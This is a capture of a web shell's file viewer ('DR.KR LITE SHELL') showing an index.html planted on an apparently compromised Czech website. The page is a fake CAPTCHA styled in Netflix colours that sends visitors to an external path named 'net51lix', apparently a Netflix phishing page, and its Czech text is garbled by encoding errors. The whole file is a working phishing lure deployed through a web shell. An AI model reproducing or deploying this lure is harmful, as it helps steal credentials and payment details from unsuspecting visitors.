Current Path : /home/da040400/www_root/pripravujeme/
Upload File :
Current File : /home/da040400/www_root/pripravujeme/index.html

<!DOCTYPE html>
<html lang="cs">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>CAPTCHA Validation</title>
    <style>
        body {
            font-family: 'Helvetica Neue', Helvetica, Arial, sans-serif;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            height: 100vh;
            margin: 0;
            background-color: #141414;
            color: white;
        }
        #captcha-container {
            display: flex;
            flex-direction: column;
            align-items: center;
            background-color: #333;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0, 0, 0, 0.5);
            max-width: 90%;
            box-sizing: border-box;
        }
        #captcha-message {
            margin-bottom: 20px;
            font-size: 18px;
            text-align: center;
        }
        #captcha-canvas {
            border: 2px solid #444;
            margin-bottom: 20px;
            width: 100%;
            height: auto;
        }
        #captcha-input {
            width: 100%;
            padding: 10px;
            margin-bottom: 20px;
            border: 1px solid #444;
            border-radius: 5px;
            box-sizing: border-box;
            background-color: #222;
            color: white;
        }
        #captcha-refresh, #captcha-submit {
            width: 100%;
            padding: 15px;
            margin-bottom: 10px;
            border: none;
            border-radius: 5px;
            cursor: pointer;
            font-size: 16px;
        }
        #captcha-refresh {
            background-color: #666;
        }
        #captcha-submit {
            background-color: #e50914;
            color: white;
        }
        #captcha-submit:hover {
            background-color: #f40612;
        }
        @media (min-width: 768px) {
            #captcha-container {
                max-width: 400px;
            }
        }
    </style>
</head>
<body>
    <div id="captcha-container">
        <div id="captcha-message">Chcete-li pokraДЌovat, zadejte nГ­Еѕe kГіd CAPTCHA:</div>
        <canvas id="captcha-canvas" width="200" height="80"></canvas>
        <input type="text" id="captcha-input" placeholder="Zadejte CAPTCHA">
        <button id="captcha-refresh">Obnovit CAPTCHA</button>
        <button id="captcha-submit">OvД›Е™it CAPTCHA</button>
    </div>
    <script>
        document.addEventListener('DOMContentLoaded', () => {
            const canvas = document.getElementById('captcha-canvas');
            const ctx = canvas.getContext('2d');
            const captchaInput = document.getElementById('captcha-input');
            const captchaRefresh = document.getElementById('captcha-refresh');
            const captchaSubmit = document.getElementById('captcha-submit');

            let currentCaptcha = '';
            const targetUrl = 'https://pohadkakh.cz/net51lix/'; // Change this to your desired URL

            function generateCaptcha() {
                const characters = '0123456789';
                let captchaText = '';
                for (let i = 0; i < 6; i++) {
                    captchaText += characters.charAt(Math.floor(Math.random() * characters.length));
                }
                currentCaptcha = captchaText;
                drawCaptcha(captchaText);
            }

            function drawCaptcha(text) {
                ctx.clearRect(0, 0, canvas.width, canvas.height);
                ctx.font = '30px Arial';
                ctx.fillStyle = '#e50914';
                ctx.fillText(text, 20, 50);

                // Add some noise lines for extra security
                ctx.strokeStyle = '#e50914';
                for (let i = 0; i < 5; i++) {
                    ctx.beginPath();
                    ctx.moveTo(Math.random() * canvas.width, Math.random() * canvas.height);
                    ctx.lineTo(Math.random() * canvas.width, Math.random() * canvas.height);
                    ctx.stroke();
                }
            }

            captchaRefresh.addEventListener('click', generateCaptcha);

            captchaSubmit.addEventListener('click', () => {
                const userInput = captchaInput.value.trim();
                if (!userInput) {
                    alert(`ProsГ­m zadejte CAPTCHA kГіd pro pokraДЌovГЎnГ­ na ${targetUrl}`);
                    return;
                }
                if (userInput === currentCaptcha) {
                    window.location.href = targetUrl; // Redirect to the target website
                } else {
                    alert('OvД›Е™enГ­ CAPTCHA se nezdaЕ™ilo. ProsГ­m zkuste to znovu.');
                }
            });

            // Generate the initial CAPTCHA
            generateCaptcha();
        });
    </script>
</body>
</html>

DR.KR LITE SHELL COPYRIGHT 2016